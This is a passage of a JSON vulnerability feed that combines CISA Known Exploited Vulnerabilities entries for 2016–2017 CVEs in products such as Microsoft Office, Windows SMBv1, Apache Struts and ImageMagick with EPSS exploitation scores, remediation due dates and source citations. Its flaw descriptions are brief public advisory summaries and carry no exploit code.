instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.69846,"percentile":0.99367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-0185&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-0185","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-0185 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-0185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-0185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3235","cveId":"CVE-2016-3235","aliases":[],"kind":"vulnerability","title":"Microsoft Office OLE DLL Side Loading Vulnerability","summary":"Microsoft Office Object Linking & Embedding (OLE) dynamic link library (DLL) contains a side loading vulnerability due to it improperly validating input before loading libraries. Successful exploitation allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.43308,"percentile":0.9872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3235&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3235","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3235 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3235&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3235, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3643","cveId":"CVE-2016-3643","aliases":[],"kind":"vulnerability","title":"SolarWinds Virtualization Manager Privilege Escalation Vulnerability","summary":"SolarWinds Virtualization Manager allows for privilege escalation through leveraging a misconfiguration of sudo.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Virtualization Manager","stacks":["SolarWinds","Virtualization Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03674,"percentile":0.89583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3643","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3643 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3715","cveId":"CVE-2016-3715","aliases":[],"kind":"vulnerability","title":"ImageMagick Arbitrary File Deletion Vulnerability","summary":"ImageMagick contains an unspecified vulnerability that could allow users to delete files by using ImageMagick's 'ephemeral' pseudo protocol, which deletes files after reading.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"ImageMagick","product":"ImageMagick","stacks":["ImageMagick"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.75307,"percentile":0.99509,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3715&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3715","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3715 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3715&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3715, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3718","cveId":"CVE-2016-3718","aliases":[],"kind":"vulnerability","title":"ImageMagick Server-Side Request Forgery (SSRF) Vulnerability","summary":"ImageMagick contains an unspecified vulnerability that allows attackers to perform server-side request forgery (SSRF) via a crafted image.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"ImageMagick","product":"ImageMagick","stacks":["ImageMagick"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7565,"percentile":0.99517,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3718","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3718 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3976","cveId":"CVE-2016-3976","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver Directory Traversal Vulnerability","summary":"SAP NetWeaver Application Server Java Platforms contains a directory traversal vulnerability via a ..\\ (dot dot backslash) in the fileName parameter to CrashFileDownloadServlet. This allows remote attackers to read files.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.47252,"percentile":0.98829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3976","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3976 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4437","cveId":"CVE-2016-4437","aliases":[],"kind":"vulnerability","title":"Apache Shiro Code Execution Vulnerability","summary":"Apache Shiro contains a vulnerability which may allow remote attackers to execute code or bypass intended access restrictions via an unspecified request parameter when a cipher key has not been configured for the \"remember me\" feature.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Shiro","stacks":["Apache","Shiro"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93039,"percentile":0.99831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4437","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4437 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7255","cveId":"CVE-2016-7255","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k kernel-mode driver fails to properly handle objects in memory which allows for privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.80968,"percentile":0.99627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7255&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7255","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7255 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7255&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7255, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-9563","cveId":"CVE-2016-9563","aliases":[],"kind":"vulnerability","title":"SAP NetWeaver XML External Entity (XXE) Vulnerability","summary":"SAP NetWeaver Application Server Java Platforms contains an unspecified vulnerability in BC-BMT-BPM-DSK which allows remote, authenticated users to conduct XML External Entity (XXE) attacks.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SAP","product":"NetWeaver","stacks":["SAP","NetWeaver"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24226,"percentile":0.97842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-9563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-9563","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-9563 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-9563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-9563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0143","cveId":"CVE-2017-0143","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Server Message Block (SMBv1) Remote Code Execution Vulnerability","summary":"Microsoft Windows Server Message Block 1.0 (SMBv1) contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93307,"percentile":0.99835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0143","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0143 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0199","cveId":"CVE-2017-0199","aliases":[],"kind":"vulnerability","title":"Microsoft Office and WordPad Remote Code Execution Vulnerability","summary":"Microsoft Office and WordPad contain an unspecified vulnerability due to the way the applications parse specially crafted files. Successful exploitation allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office and WordPad","stacks":["Microsoft Office","Microsoft","Office and WordPad"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99497,"percentile":0.99944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0199","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0199 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-11774","cveId":"CVE-2017-11774","aliases":[],"kind":"vulnerability","title":"Microsoft Office Outlook Security Feature Bypass Vulnerability","summary":"Microsoft Office Outlook contains a security feature bypass vulnerability due to improperly handling objects in memory. Successful exploitation allows an attacker to execute commands.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.59627,"percentile":0.99119,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-11774&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-11774","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-11774 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-11774&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-11774, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-11882","cveId":"CVE-2017-11882","aliases":[],"kind":"vulnerability","title":"Microsoft Office Memory Corruption Vulnerability","summary":"Microsoft Office contains a memory corruption vulnerability that allows remote code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99945,"percentile":0.99973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-11882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-11882","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-11882 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-11882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-11882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-16651","cveId":"CVE-2017-16651","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail File Disclosure Vulnerability","summary":"Roundcube Webmail contains a file disclosure vulnerability caused by insufficient input validation in conjunction with file-based attachment plugins, which are used by default.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Roundcube Webmail","stacks":["Roundcube","Roundcube Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.45742,"percentile":0.9879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-16651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-16651","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-16651 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-16651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-16651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-5638","cveId":"CVE-2017-5638","aliases":[],"kind":"vulnerability","title":"Apache Struts Remote Code Execution Vulnerability","summary":"Apache Struts Jakarta Multipart parser allows for malicious file upload using the Content-Type value, leading to remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts","stacks":["Apache Struts","Apache","Struts"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-5638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-5638","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-5638 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-5638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-5638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6327","cveId":"CVE-2017-6327","aliases":[],"kind":"vulnerability","title":"Symantec Messaging Gateway Remote Code Execution Vulnerability","summary":"Symantec Messaging Gateway contains an unspecified vulnerability which can allow for remote code execution. With the ability to perform remote code execution, an attacker may also desire to perform privilege escalating actions.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor 